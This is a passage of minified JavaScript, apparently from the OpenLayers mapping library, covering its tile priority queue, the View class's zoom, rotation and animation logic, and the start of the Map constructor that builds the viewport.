e!=Ua&&(this.elements_.push(t),this.priorities_.push(e),this.queuedElements_[this.keyFunction_(t)]=!0,this.siftDown_(0,this.elements_.length-1),!0)},t.prototype.getCount=function(){return this.elements_.length},t.prototype.getLeftChildIndex_=function(t){return 2*t+1},t.prototype.getRightChildIndex_=function(t){return 2*t+2},t.prototype.getParentIndex_=function(t){return t-1>>1},t.prototype.heapify_=function(){var t;for(t=(this.elements_.length>>1)-1;t>=0;t--)this.siftUp_(t)},t.prototype.isEmpty=function(){return 0===this.elements_.length},t.prototype.isKeyQueued=function(t){return t in this.queuedElements_},t.prototype.isQueued=function(t){return this.isKeyQueued(this.keyFunction_(t))},t.prototype.siftUp_=function(t){for(var e=this.elements_,i=this.priorities_,n=e.length,o=e[t],r=i[t],s=t;t<n>>1;){var a=this.getLeftChildIndex_(t),l=this.getRightChildIndex_(t),h=l<n&&i[l]<i[a]?l:a;e[t]=e[h],i[t]=i[h],t=h}e[t]=o,i[t]=r,this.siftDown_(s,t)},t.prototype.siftDown_=function(t,e){for(var i=this.elements_,n=this.priorities_,o=i[e],r=n[e];e>t;){var s=this.getParentIndex_(e);if(!(n[s]>r))break;i[e]=i[s],n[e]=n[s],e=s}i[e]=o,n[e]=r},t.prototype.reprioritize=function(){var t,e,i,n=this.priorityFunction_,o=this.elements_,r=this.priorities_,s=0,a=o.length;for(e=0;e<a;++e)(i=n(t=o[e]))==Ua?delete this.queuedElements_[this.keyFunction_(t)]:(r[s]=i,o[s++]=t);o.length=s,r.length=s,this.heapify_()},t}(),qa=function(){var t=function(e,i){return t=Object.setPrototypeOf||{__proto__:[]}instanceof Array&&function(t,e){t.__proto__=e}||function(t,e){for(var i in e)Object.prototype.hasOwnProperty.call(e,i)&&(t[i]=e[i])},t(e,i)};return function(e,i){if("function"!=typeof i&&null!==i)throw new TypeError("Class extends value "+String(i)+" is not a constructor or null");function n(){this.constructor=e}t(e,i),e.prototype=null===i?Object.create(i):(n.prototype=i.prototype,new n)}}(),Ja=function(t){function e(e,i){var n=t.call(this,(function(t){return e.apply(null,t)}),(function(t){return t[0].getKey()}))||this;return n.boundHandleTileChange_=n.handleTileChange.bind(n),n.tileChangeCallback_=i,n.tilesLoading_=0,n.tilesLoadingKeys_={},n}return qa(e,t),e.prototype.enqueue=function(e){var i=t.prototype.enqueue.call(this,e);return i&&e[0].addEventListener(x,this.boundHandleTileChange_),i},e.prototype.getTilesLoading=function(){return this.tilesLoading_},e.prototype.handleTileChange=function(t){var e=t.target,i=e.getState();if(2===i||3===i||4===i){e.removeEventListener(x,this.boundHandleTileChange_);var n=e.getKey();n in this.tilesLoadingKeys_&&(delete this.tilesLoadingKeys_[n],--this.tilesLoading_),this.tileChangeCallback_()}},e.prototype.loadMoreTiles=function(t,e){for(var i,n,o=0;this.tilesLoading_<t&&o<e&&this.getCount()>0;)n=(i=this.dequeue()[0]).getKey(),0!==i.getState()||n in this.tilesLoadingKeys_||(this.tilesLoadingKeys_[n]=!0,++this.tilesLoading_,++o,i.load())},e}(Ha),Qa={CENTER:"center",RESOLUTION:"resolution",ROTATION:"rotation"};function $a(t,e,i){return function(n,o,r,s,a){if(n){if(!o&&!e)return n;var l=e?0:r[0]*o,h=e?0:r[1]*o,u=a?a[0]:0,c=a?a[1]:0,p=t[0]+l/2+u,f=t[2]-l/2+u,d=t[1]+h/2+c,g=t[3]-h/2+c;p>f&&(f=p=(f+p)/2),d>g&&(g=d=(g+d)/2);var _=Ct(n[0],p,f),y=Ct(n[1],d,g);if(s&&i&&o){var v=30*o;_+=-v*Math.log(1+Math.max(0,p-n[0])/v)+v*Math.log(1+Math.max(0,n[0]-f)/v),y+=-v*Math.log(1+Math.max(0,d-n[1])/v)+v*Math.log(1+Math.max(0,n[1]-g)/v)}return[_,y]}}}function tl(t){return t}function el(t,e,i,n){var o=ke(e)/i[0],r=Fe(e)/i[1];return n?Math.min(t,Math.max(o,r)):Math.min(t,Math.min(o,r))}function il(t,e,i){var n=Math.min(t,e);return n*=Math.log(1+50*Math.max(0,t/e-1))/50+1,i&&(n=Math.max(n,i),n/=Math.log(1+50*Math.max(0,i/t-1))/50+1),Ct(n,i/2,2*e)}function nl(t,e,i,n,o){return function(r,s,a,l){if(void 0!==r){var h=n?el(t,n,a,o):t;return(void 0===i||i)&&l?il(r,h,e):Ct(r,e,h)}}}function ol(t){return void 0!==t?0:void 0}function rl(t){return void 0!==t?t:void 0}var sl=function(){var t=function(e,i){return t=Object.setPrototypeOf||{__proto__:[]}instanceof Array&&function(t,e){t.__proto__=e}||function(t,e){for(var i in e)Object.prototype.hasOwnProperty.call(e,i)&&(t[i]=e[i])},t(e,i)};return function(e,i){if("function"!=typeof i&&null!==i)throw new TypeError("Class extends value "+String(i)+" is not a constructor or null");function n(){this.constructor=e}t(e,i),e.prototype=null===i?Object.create(i):(n.prototype=i.prototype,new n)}}(),al=function(t){function e(e){var i=t.call(this)||this;i.on,i.once,i.un;var n=f({},e);return i.hints_=[0,0],i.animations_=[],i.updateAnimationKey_,i.projection_=Qe(n.projection,"EPSG:3857"),i.viewportSize_=[100,100],i.targetCenter_=null,i.targetResolution_,i.targetRotation_,i.nextCenter_=null,i.nextResolution_,i.nextRotation_,i.cancelAnchor_=void 0,n.projection&&Ke(),n.center&&(n.center=ui(n.center,i.projection_)),n.extent&&(n.extent=pi(n.extent,i.projection_)),i.applyOptions_(n),i}return sl(e,t),e.prototype.applyOptions_=function(t){var e=f({},t);for(var i in Qa)delete e[i];this.setProperties(e,!0);var n=function(t){var e,i,n,o=void 0!==t.minZoom?t.minZoom:0,r=void 0!==t.maxZoom?t.maxZoom:28,a=void 0!==t.zoomFactor?t.zoomFactor:2,l=void 0!==t.multiWorld&&t.multiWorld,h=void 0===t.smoothResolutionConstraint||t.smoothResolutionConstraint,u=void 0!==t.showFullExtent&&t.showFullExtent,c=Qe(t.projection,"EPSG:3857"),p=c.getExtent(),f=t.constrainOnlyCenter,d=t.extent;if(l||d||!c.isGlobal()||(f=!1,d=p),void 0!==t.resolutions){var g=t.resolutions;i=g[o],n=void 0!==g[r]?g[r]:g[g.length-1],e=t.constrainResolution?function(t,e,i,n){return function(o,r,a,l){if(void 0!==o){var h=t[0],u=t[t.length-1],c=i?el(h,i,a,n):h;if(l)return void 0===e||e?il(o,c,u):Ct(o,u,c);var p=Math.min(c,o),f=Math.floor(s(t,p,r));return t[f]>c&&f<t.length-1?t[f+1]:t[f]}}}(g,h,!f&&d,u):nl(i,n,h,!f&&d,u)}else{var _=(p?Math.max(ke(p),Fe(p)):360*Bt[Kt.DEGREES]/c.getMetersPerUnit())/256/Math.pow(2,0),y=_/Math.pow(2,28);void 0!==(i=t.maxResolution)?o=0:i=_/Math.pow(a,o),void 0===(n=t.minResolution)&&(n=void 0!==t.maxZoom?void 0!==t.maxResolution?i/Math.pow(a,r):_/Math.pow(a,r):y),r=o+Math.floor(Math.log(i/n)/Math.log(a)),n=i/Math.pow(a,r-o),e=t.constrainResolution?function(t,e,i,n,o,r){return function(s,a,l,h){if(void 0!==s){var u=o?el(e,o,l,r):e,c=void 0!==i?i:0;if(h)return void 0===n||n?il(s,u,c):Ct(s,c,u);var p=Math.ceil(Math.log(e/u)/Math.log(t)-1e-9),f=-a*(.5-1e-9)+.5,d=Math.min(u,s),g=Math.floor(Math.log(e/d)/Math.log(t)+f),_=Math.max(p,g);return Ct(e/Math.pow(t,_),c,u)}}}(a,i,n,h,!f&&d,u):nl(i,n,h,!f&&d,u)}return{constraint:e,maxResolution:i,minResolution:n,minZoom:o,zoomFactor:a}}(t);this.maxResolution_=n.maxResolution,this.minResolution_=n.minResolution,this.zoomFactor_=n.zoomFactor,this.resolutions_=t.resolutions,this.padding_=t.padding,this.minZoom_=n.minZoom;var o=function(t){if(void 0!==t.extent){var e=void 0===t.smoothExtentConstraint||t.smoothExtentConstraint;return $a(t.extent,t.constrainOnlyCenter,e)}var i=Qe(t.projection,"EPSG:3857");if(!0!==t.multiWorld&&i.isGlobal()){var n=i.getExtent().slice();return n[0]=-1/0,n[2]=1/0,$a(n,!1,!1)}return tl}(t),r=n.constraint,a=function(t){var e,i,n;if(void 0===t.enableRotation||t.enableRotation){var o=t.constrainRotation;return void 0===o||!0===o?(n=bt(5),function(t,e){return e?t:void 0!==t?Math.abs(t)<=n?0:t:void 0}):!1===o?rl:"number"==typeof o?(e=o,i=2*Math.PI/e,function(t,e){return e?t:void 0!==t?t=Math.floor(t/i+.5)*i:void 0}):rl}return ol}(t);this.constraints_={center:o,resolution:r,rotation:a},this.setRotation(void 0!==t.rotation?t.rotation:0),this.setCenterInternal(void 0!==t.center?t.center:null),void 0!==t.resolution?this.setResolution(t.resolution):void 0!==t.zoom&&this.setZoom(t.zoom)},Object.defineProperty(e.prototype,"padding",{get:function(){return this.padding_},set:function(t){var e=this.padding_;this.padding_=t;var i=this.getCenter();if(i){var n=t||[0,0,0,0];e=e||[0,0,0,0];var o=this.getResolution(),r=o/2*(n[3]-e[3]+e[1]-n[1]),s=o/2*(n[0]-e[0]+e[2]-n[2]);this.setCenterInternal([i[0]+r,i[1]-s])}},enumerable:!1,configurable:!0}),e.prototype.getUpdatedOptions_=function(t){var e=this.getProperties();return void 0!==e.resolution?e.resolution=this.getResolution():e.zoom=this.getZoom(),e.center=this.getCenterInternal(),e.rotation=this.getRotation(),f({},e,t)},e.prototype.animate=function(t){this.isDef()&&!this.getAnimating()&&this.resolveConstraints(0);for(var e=new Array(arguments.length),i=0;i<e.length;++i){var n=arguments[i];n.center&&((n=f({},n)).center=ui(n.center,this.getProjection())),n.anchor&&((n=f({},n)).anchor=ui(n.anchor,this.getProjection())),e[i]=n}this.animateInternal.apply(this,e)},e.prototype.animateInternal=function(t){var e,i=arguments.length;i>1&&"function"==typeof arguments[i-1]&&(e=arguments[i-1],--i);for(var n=0;n<i&&!this.isDef();++n){var o=arguments[n];o.center&&this.setCenterInternal(o.center),void 0!==o.zoom?this.setZoom(o.zoom):o.resolution&&this.setResolution(o.resolution),void 0!==o.rotation&&this.setRotation(o.rotation)}if(n!==i){for(var r=Date.now(),s=this.targetCenter_.slice(),a=this.targetResolution_,l=this.targetRotation_,h=[];n<i;++n){var u=arguments[n],c={start:r,complete:!1,anchor:u.anchor,duration:void 0!==u.duration?u.duration:1e3,easing:u.easing||Ci,callback:e};if(u.center&&(c.sourceCenter=s,c.targetCenter=u.center.slice(),s=c.targetCenter),void 0!==u.zoom?(c.sourceResolution=a,c.targetResolution=this.getResolutionForZoom(u.zoom),a=c.targetResolution):u.resolution&&(c.sourceResolution=a,c.targetResolution=u.resolution,a=c.targetResolution),void 0!==u.rotation){c.sourceRotation=l;var p=Ot(u.rotation-l+Math.PI,2*Math.PI)-Math.PI;c.targetRotation=l+p,l=c.targetRotation}hl(c)?c.complete=!0:r+=c.duration,h.push(c)}this.animations_.push(h),this.setHint(0,1),this.updateAnimations_()}else e&&ll(e,!0)},e.prototype.getAnimating=function(){return this.hints_[0]>0},e.prototype.getInteracting=function(){return this.hints_[1]>0},e.prototype.cancelAnimations=function(){var t;this.setHint(0,-this.hints_[0]);for(var e=0,i=this.animations_.length;e<i;++e){var n=this.animations_[e];if(n[0].callback&&ll(n[0].callback,!1),!t)for(var o=0,r=n.length;o<r;++o){var s=n[o];if(!s.complete){t=s.anchor;break}}}this.animations_.length=0,this.cancelAnchor_=t,this.nextCenter_=null,this.nextResolution_=NaN,this.nextRotation_=NaN},e.prototype.updateAnimations_=function(){if(void 0!==this.updateAnimationKey_&&(cancelAnimationFrame(this.updateAnimationKey_),this.updateAnimationKey_=void 0),this.getAnimating()){for(var t=Date.now(),e=!1,i=this.animations_.length-1;i>=0;--i){for(var n=this.animations_[i],o=!0,r=0,s=n.length;r<s;++r){var a=n[r];if(!a.complete){var l=t-a.start,h=a.duration>0?l/a.duration:1;h>=1?(a.complete=!0,h=1):o=!1;var u=a.easing(h);if(a.sourceCenter){var c=a.sourceCenter[0],p=a.sourceCenter[1],f=a.targetCenter[0],d=a.targetCenter[1];this.nextCenter_=a.targetCenter;var g=c+u*(f-c),_=p+u*(d-p);this.targetCenter_=[g,_]}if(a.sourceResolution&&a.targetResolution){var y=1===u?a.targetResolution:a.sourceResolution+u*(a.targetResolution-a.sourceResolution);if(a.anchor){var v=this.getViewportSize_(this.getRotation()),m=this.constraints_.resolution(y,0,v,!0);this.targetCenter_=this.calculateCenterZoom(m,a.anchor)}this.nextResolution_=a.targetResolution,this.targetResolution_=y,this.applyTargetState_(!0)}if(void 0!==a.sourceRotation&&void 0!==a.targetRotation){var x=1===u?Ot(a.targetRotation+Math.PI,2*Math.PI)-Math.PI:a.sourceRotation+u*(a.targetRotation-a.sourceRotation);if(a.anchor){var C=this.constraints_.rotation(x,!0);this.targetCenter_=this.calculateCenterRotate(C,a.anchor)}this.nextRotation_=a.targetRotation,this.targetRotation_=x}if(this.applyTargetState_(!0),e=!0,!a.complete)break}}if(o){this.animations_[i]=null,this.setHint(0,-1),this.nextCenter_=null,this.nextResolution_=NaN,this.nextRotation_=NaN;var w=n[0].callback;w&&ll(w,!0)}}this.animations_=this.animations_.filter(Boolean),e&&void 0===this.updateAnimationKey_&&(this.updateAnimationKey_=requestAnimationFrame(this.updateAnimations_.bind(this)))}},e.prototype.calculateCenterRotate=function(t,e){var i,n,o,r=this.getCenterInternal();return void 0!==r&&(Xe(i=[r[0]-e[0],r[1]-e[1]],t-this.getRotation()),o=e,(n=i)[0]+=+o[0],n[1]+=+o[1]),i},e.prototype.calculateCenterZoom=function(t,e){var i,n=this.getCenterInternal(),o=this.getResolution();return void 0!==n&&void 0!==o&&(i=[e[0]-t*(e[0]-n[0])/o,e[1]-t*(e[1]-n[1])/o]),i},e.prototype.getViewportSize_=function(t){var e=this.viewportSize_;if(t){var i=e[0],n=e[1];return[Math.abs(i*Math.cos(t))+Math.abs(n*Math.sin(t)),Math.abs(i*Math.sin(t))+Math.abs(n*Math.cos(t))]}return e},e.prototype.setViewportSize=function(t){this.viewportSize_=Array.isArray(t)?t.slice():[100,100],this.getAnimating()||this.resolveConstraints(0)},e.prototype.getCenter=function(){var t=this.getCenterInternal();return t?hi(t,this.getProjection()):t},e.prototype.getCenterInternal=function(){return this.get(Qa.CENTER)},e.prototype.getConstraints=function(){return this.constraints_},e.prototype.getConstrainResolution=function(){return this.get("constrainResolution")},e.prototype.getHints=function(t){return void 0!==t?(t[0]=this.hints_[0],t[1]=this.hints_[1],t):this.hints_.slice()},e.prototype.calculateExtent=function(t){return ci(this.calculateExtentInternal(t),this.getProjection())},e.prototype.calculateExtentInternal=function(t){var e=t||this.getViewportSizeMinusPadding_(),i=this.getCenterInternal();xt(i,1);var n=this.getResolution();xt(void 0!==n,2);var o=this.getRotation();return xt(void 0!==o,3),Ie(i,n,o,e)},e.prototype.getMaxResolution=function(){return this.maxResolution_},e.prototype.getMinResolution=function(){return this.minResolution_},e.prototype.getMaxZoom=function(){return this.getZoomForResolution(this.minResolution_)},e.prototype.setMaxZoom=function(t){this.applyOptions_(this.getUpdatedOptions_({maxZoom:t}))},e.prototype.getMinZoom=function(){return this.getZoomForResolution(this.maxResolution_)},e.prototype.setMinZoom=function(t){this.applyOptions_(this.getUpdatedOptions_({minZoom:t}))},e.prototype.setConstrainResolution=function(t){this.applyOptions_(this.getUpdatedOptions_({constrainResolution:t}))},e.prototype.getProjection=function(){return this.projection_},e.prototype.getResolution=function(){return this.get(Qa.RESOLUTION)},e.prototype.getResolutions=function(){return this.resolutions_},e.prototype.getResolutionForExtent=function(t,e){return this.getResolutionForExtentInternal(pi(t,this.getProjection()),e)},e.prototype.getResolutionForExtentInternal=function(t,e){var i=e||this.getViewportSizeMinusPadding_(),n=ke(t)/i[0],o=Fe(t)/i[1];return Math.max(n,o)},e.prototype.getResolutionForValueFunction=function(t){var e=t||2,i=this.getConstrainedResolution(this.maxResolution_),n=this.minResolution_,o=Math.log(i/n)/Math.log(e);return function(t){return i/Math.pow(e,t*o)}},e.prototype.getRotation=function(){return this.get(Qa.ROTATION)},e.prototype.getValueForResolutionFunction=function(t){var e=Math.log(t||2),i=this.getConstrainedResolution(this.maxResolution_),n=this.minResolution_,o=Math.log(i/n)/e;return function(t){return Math.log(i/t)/e/o}},e.prototype.getViewportSizeMinusPadding_=function(t){var e=this.getViewportSize_(t),i=this.padding_;return i&&(e=[e[0]-i[1]-i[3],e[1]-i[0]-i[2]]),e},e.prototype.getState=function(){var t=this.getProjection(),e=this.getResolution(),i=this.getRotation(),n=this.getCenterInternal(),o=this.padding_;if(o){var r=this.getViewportSizeMinusPadding_();n=ul(n,this.getViewportSize_(),[r[0]/2+o[3],r[1]/2+o[0]],e,i)}return{center:n.slice(0),projection:void 0!==t?t:null,resolution:e,nextCenter:this.nextCenter_,nextResolution:this.nextResolution_,nextRotation:this.nextRotation_,rotation:i,zoom:this.getZoom()}},e.prototype.getZoom=function(){var t,e=this.getResolution();return void 0!==e&&(t=this.getZoomForResolution(e)),t},e.prototype.getZoomForResolution=function(t){var e,i,n=this.minZoom_||0;if(this.resolutions_){var o=s(this.resolutions_,t,1);n=o,e=this.resolutions_[o],i=o==this.resolutions_.length-1?2:e/this.resolutions_[o+1]}else e=this.maxResolution_,i=this.zoomFactor_;return n+Math.log(e/t)/Math.log(i)},e.prototype.getResolutionForZoom=function(t){if(this.resolutions_){if(this.resolutions_.length<=1)return 0;var e=Ct(Math.floor(t),0,this.resolutions_.length-2),i=this.resolutions_[e]/this.resolutions_[e+1];return this.resolutions_[e]/Math.pow(i,Ct(t-e,0,1))}return this.maxResolution_/Math.pow(this.zoomFactor_,t-this.minZoom_)},e.prototype.fit=function(t,e){var i;if(xt(Array.isArray(t)||"function"==typeof t.getSimplifiedGeometry,24),Array.isArray(t))xt(!Ge(t),25),i=Wn(n=pi(t,this.getProjection()));else if("Circle"===t.getType()){var n;(i=Wn(n=pi(t.getExtent(),this.getProjection()))).rotate(this.getRotation(),Re(n))}else{var o=li();i=o?t.clone().transform(o,this.getProjection()):t}this.fitInternal(i,e)},e.prototype.rotatedExtentForGeometry=function(t){for(var e=this.getRotation(),i=Math.cos(e),n=Math.sin(-e),o=t.getFlatCoordinates(),r=t.getStride(),s=1/0,a=1/0,l=-1/0,h=-1/0,u=0,c=o.length;u<c;u+=r){var p=o[u]*i-o[u+1]*n,f=o[u]*n+o[u+1]*i;s=Math.min(s,p),a=Math.min(a,f),l=Math.max(l,p),h=Math.max(h,f)}return[s,a,l,h]},e.prototype.fitInternal=function(t,e){var i=e||{},n=i.size;n||(n=this.getViewportSizeMinusPadding_());var o,r=void 0!==i.padding?i.padding:[0,0,0,0],s=void 0!==i.nearest&&i.nearest;o=void 0!==i.minResolution?i.minResolution:void 0!==i.maxZoom?this.getResolutionForZoom(i.maxZoom):0;var a=this.rotatedExtentForGeometry(t),l=this.getResolutionForExtentInternal(a,[n[0]-r[1]-r[3],n[1]-r[0]-r[2]]);l=isNaN(l)?o:Math.max(l,o),l=this.getConstrainedResolution(l,s?0:1);var h=this.getRotation(),u=Math.sin(h),c=Math.cos(h),f=Re(a);f[0]+=(r[1]-r[3])/2*l,f[1]+=(r[0]-r[2])/2*l;var d=f[0]*c-f[1]*u,g=f[1]*c+f[0]*u,_=this.getConstrainedCenter([d,g],l),y=i.callback?i.callback:p;void 0!==i.duration?this.animateInternal({resolution:l,center:_,duration:i.duration,easing:i.easing},y):(this.targetResolution_=l,this.targetCenter_=_,this.applyTargetState_(!1,!0),ll(y,!0))},e.prototype.centerOn=function(t,e,i){this.centerOnInternal(ui(t,this.getProjection()),e,i)},e.prototype.centerOnInternal=function(t,e,i){this.setCenterInternal(ul(t,e,i,this.getResolution(),this.getRotation()))},e.prototype.calculateCenterShift=function(t,e,i,n){var o,r=this.padding_;if(r&&t){var s=this.getViewportSizeMinusPadding_(-i),a=ul(t,n,[s[0]/2+r[3],s[1]/2+r[0]],e,i);o=[t[0]-a[0],t[1]-a[1]]}return o},e.prototype.isDef=function(){return!!this.getCenterInternal()&&void 0!==this.getResolution()},e.prototype.adjustCenter=function(t){var e=hi(this.targetCenter_,this.getProjection());this.setCenter([e[0]+t[0],e[1]+t[1]])},e.prototype.adjustCenterInternal=function(t){var e=this.targetCenter_;this.setCenterInternal([e[0]+t[0],e[1]+t[1]])},e.prototype.adjustResolution=function(t,e){var i=e&&ui(e,this.getProjection());this.adjustResolutionInternal(t,i)},e.prototype.adjustResolutionInternal=function(t,e){var i=this.getAnimating()||this.getInteracting(),n=this.getViewportSize_(this.getRotation()),o=this.constraints_.resolution(this.targetResolution_*t,0,n,i);e&&(this.targetCenter_=this.calculateCenterZoom(o,e)),this.targetResolution_*=t,this.applyTargetState_()},e.prototype.adjustZoom=function(t,e){this.adjustResolution(Math.pow(this.zoomFactor_,-t),e)},e.prototype.adjustRotation=function(t,e){e&&(e=ui(e,this.getProjection())),this.adjustRotationInternal(t,e)},e.prototype.adjustRotationInternal=function(t,e){var i=this.getAnimating()||this.getInteracting(),n=this.constraints_.rotation(this.targetRotation_+t,i);e&&(this.targetCenter_=this.calculateCenterRotate(n,e)),this.targetRotation_+=t,this.applyTargetState_()},e.prototype.setCenter=function(t){this.setCenterInternal(t?ui(t,this.getProjection()):t)},e.prototype.setCenterInternal=function(t){this.targetCenter_=t,this.applyTargetState_()},e.prototype.setHint=function(t,e){return this.hints_[t]+=e,this.changed(),this.hints_[t]},e.prototype.setResolution=function(t){this.targetResolution_=t,this.applyTargetState_()},e.prototype.setRotation=function(t){this.targetRotation_=t,this.applyTargetState_()},e.prototype.setZoom=function(t){this.setResolution(this.getResolutionForZoom(t))},e.prototype.applyTargetState_=function(t,e){var i=this.getAnimating()||this.getInteracting()||e,n=this.constraints_.rotation(this.targetRotation_,i),o=this.getViewportSize_(n),r=this.constraints_.resolution(this.targetResolution_,0,o,i),s=this.constraints_.center(this.targetCenter_,r,o,i,this.calculateCenterShift(this.targetCenter_,r,n,o));this.get(Qa.ROTATION)!==n&&this.set(Qa.ROTATION,n),this.get(Qa.RESOLUTION)!==r&&(this.set(Qa.RESOLUTION,r),this.set("zoom",this.getZoom(),!0)),s&&this.get(Qa.CENTER)&&We(this.get(Qa.CENTER),s)||this.set(Qa.CENTER,s),this.getAnimating()&&!t&&this.cancelAnimations(),this.cancelAnchor_=void 0},e.prototype.resolveConstraints=function(t,e,i){var n=void 0!==t?t:200,o=e||0,r=this.constraints_.rotation(this.targetRotation_),s=this.getViewportSize_(r),a=this.constraints_.resolution(this.targetResolution_,o,s),l=this.constraints_.center(this.targetCenter_,a,s,!1,this.calculateCenterShift(this.targetCenter_,a,r,s));if(0===n&&!this.cancelAnchor_)return this.targetResolution_=a,this.targetRotation_=r,this.targetCenter_=l,void this.applyTargetState_();var h=i||(0===n?this.cancelAnchor_:void 0);this.cancelAnchor_=void 0,this.getResolution()===a&&this.getRotation()===r&&this.getCenterInternal()&&We(this.getCenterInternal(),l)||(this.getAnimating()&&this.cancelAnimations(),this.animateInternal({rotation:r,center:l,resolution:a,duration:n,easing:xi,anchor:h}))},e.prototype.beginInteraction=function(){this.resolveConstraints(0),this.setHint(1,1)},e.prototype.endInteraction=function(t,e,i){var n=i&&ui(i,this.getProjection());this.endInteractionInternal(t,e,n)},e.prototype.endInteractionInternal=function(t,e,i){this.setHint(1,-1),this.resolveConstraints(t,e,i)},e.prototype.getConstrainedCenter=function(t,e){var i=this.getViewportSize_(this.getRotation());return this.constraints_.center(t,e||this.getResolution(),i)},e.prototype.getConstrainedZoom=function(t,e){var i=this.getResolutionForZoom(t);return this.getZoomForResolution(this.getConstrainedResolution(i,e))},e.prototype.getConstrainedResolution=function(t,e){var i=e||0,n=this.getViewportSize_(this.getRotation());return this.constraints_.resolution(t,i,n)},e}(G);function ll(t,e){setTimeout((function(){t(e)}),0)}function hl(t){return!(t.sourceCenter&&t.targetCenter&&!We(t.sourceCenter,t.targetCenter))&&t.sourceResolution===t.targetResolution&&t.sourceRotation===t.targetRotation}function ul(t,e,i,n,o){var r=Math.cos(-o),s=Math.sin(-o),a=t[0]*r-t[1]*s,l=t[1]*r+t[0]*s;return[(a+=(e[0]/2-i[0])*n)*r-(l+=(i[1]-e[1]/2)*n)*(s=-s),l*r+a*s]}var cl=al,pl=function(){var t=function(e,i){return t=Object.setPrototypeOf||{__proto__:[]}instanceof Array&&function(t,e){t.__proto__=e}||function(t,e){for(var i in e)Object.prototype.hasOwnProperty.call(e,i)&&(t[i]=e[i])},t(e,i)};return function(e,i){if("function"!=typeof i&&null!==i)throw new TypeError("Class extends value "+String(i)+" is not a constructor or null");function n(){this.constructor=e}t(e,i),e.prototype=null===i?Object.create(i):(n.prototype=i.prototype,new n)}}();function fl(t){t instanceof Gt?t.setMapInternal(null):t instanceof ka&&t.getLayers().forEach(fl)}function dl(t,e){if(t instanceof Gt)t.setMapInternal(e);else if(t instanceof ka)for(var i=t.getLayers().getArray(),n=0,o=i.length;n<o;++n)dl(i[n],e)}var gl=function(t){function i(e){var i=t.call(this)||this;i.on,i.once,i.un;var n=function(t){var e=null;void 0!==t.keyboardEventTarget&&(e="string"==typeof t.keyboardEventTarget?document.getElementById(t.keyboardEventTarget):t.keyboardEventTarget);var i,n,o,r={},s=t.layers&&"function"==typeof t.layers.getLayers?t.layers:new ka({layers:t.layers});return r[Ba]=s,r[Za]=t.target,r[Va]=t.view instanceof cl?t.view:new cl,void 0!==t.controls&&(Array.isArray(t.controls)?i=new da(t.controls.slice()):(xt("function"==typeof t.controls.getArray,47),i=t.controls)),void 0!==t.interactions&&(Array.isArray(t.interactions)?n=new da(t.interactions.slice()):(xt("function"==typeof t.interactions.getArray,48),n=t.interactions)),void 0!==t.overlays?Array.isArray(t.overlays)?o=new da(t.overlays.slice()):(xt("function"==typeof t.overlays.getArray,49),o=t.overlays):o=new da,{controls:i,interactions:n,keyboardEventTarget:e,overlays:o,values:r}}(e);i.renderComplete_,i.loaded_=!0,i.boundHandleBrowserEvent_=i.handleBrowserEvent.bind(i),i.maxTilesLoading_=void 0!==e.maxTilesLoading?e.maxTilesLoading:16,i.pixelRatio_=void 0!==e.pixelRatio?e.pixelRatio:Z,i.postRenderTimeoutHandle_,i.animationDelayKey_,i.animationDelay_=function(){this.animationDelayKey_=void 0,this.renderFrame_(Date.now())}.bind(i),i.coordinateToPixelTransform_=[1,0,0,1,0,0],i.pixelToCoordinateTransform_=[1,0,0,1,0,0],i.frameIndex_=0,i.frameState_=null,i.previousExtent_=null,i.viewPropertyListenerKey_=null,i.viewChangeListenerKey_=null,i.layerGroupPropertyListenerKeys_=null,i.viewport_=document.createElement("div"),i.viewport_.className="ol-viewport"+("ontouchstart"in window?" ol-touch":""),i.viewport_.style.position="relative",i.viewport_.style.overflow="hidden",i.viewport_.style.width="100%",i.viewport_.style.height="100%",i.overlayContainer_=document.createElement("div"),i.overlayContainer_.style.position="absolute",i.overlayContainer_.style.zIndex="0",i.overlayContainer_.style.width="100%",i.overlayContainer_.style.height="100%",i.overlayContainer_.style.pointerEvents="none",i.overlayContainer_.className="ol-overlaycontainer",i.viewport_.appendChild(i.overlayContainer_),i.overlayContainerStopEvent_=document.createElement("div"),i.overlayContainerStopEvent_.style.position="absolute",i.overlayContainerStopEvent_.style.zIndex="0",i.overlayContainerStopEvent_.style.width="100%",i.overlayContainerStopEvent_.style.height="100%",i.overlayContainerStopEvent_.style.pointerEvents="none",i.overlayContainerStopEvent_.className="ol-overlaycontainer-stopevent",i.viewport_.appendChild(i.overlayContainerStopEvent_),i.mapBrowserEventHandler_=null,i.moveTolerance_=e.moveTolerance,i.keyboardEventTarget_=n.keyboardEventTarget,i.targetChangeHandlerKeys_=null,i.controls=n.controls||new da,i.interactions=n.interactions||new da,i.overlays_=n.overlays,i.overlayIdIndex_={},i.renderer_=null,i.postRenderFunctions_=[],i.tileQueue_=new Ja(i.getTilePriority.bind(i),i.handleTileChange_.bind(i)),i.addChangeListener(Ba,i.handleLayerGroupChanged_),i.addChangeListener(Va,i.handleViewChanged_),i.addChangeListener(Ka,i.handleSizeChanged_),i.addChangeListener(Za,i.handleTargetChanged_),i.setProperties(n.values);var o=i;return!e.view||e.view instanceof cl||e.view.then((function(t){o.setView(new cl(t))})),i.controls.addEventListener(ha,function(t){t.element.setMap(this)}.bind(i)),i.controls.addEventListener(ua,function(t){t.element.setMap(null)}.bind(i)),i.interactions.addEventListener(ha,function(t){t.element.setMap(this)}.bind(i)),i.interactions.addEventListener(ua,function(t){t.element.setMap(null)}.bind(i)),i.overlays_.addEventListener(ha,function(t){this.addOverlayInternal_(t.element)}.bind(i)),i.overlays_.addEventListener(ua,function(t){var e=t.element.getId();void 0!==e&&delete this.overlayIdIndex_[e.toString()],t.element.setMap(null)}.bind(i)),i.controls.forEach(function(t){t.setMap(this)}.bind(i)),i.interactions.forEach(function(t){t.setMap(this)}.bind(i)),i.overlays_.forEach(i.addOverlayInternal_.bind(i)),i}return pl(i,t),i.prototype.createRenderer=function(){throw new Error("Use a map type that has a createRenderer method")},i.prototype.addControl=function(t){this.getControls().push(t)},i.prototype.addInteraction=function(t){this.getInteractions().push(t)},i.prototype.addLayer=function(t){this.getLayerGroup().getLayers().push(t)},i.prototype.handleLayerAdd_=function(t){dl(t.layer,this)},i.prototype.addOverlay=function(t){this.getOverlays().push(t)},i.prototype.addOverlayInternal_=function(t){var e=t.getId();void 0!==e&&(this.overlayIdIndex_[e.toString()]=t),t.setMap(this)},i.prototype.disposeInternal=function(){this.controls.clear(),this.interactions.clear(),this.overlays_.clear(),this.setTarget(null),t.prototype.disposeInternal.call(this)},i.prototype.forEachFeatureAtPixel=function(t,e,i){if(this.frameState_&&this.renderer_){var n=this.getCoordinateFromPixelInternal(t),o=void 0!==(i=void 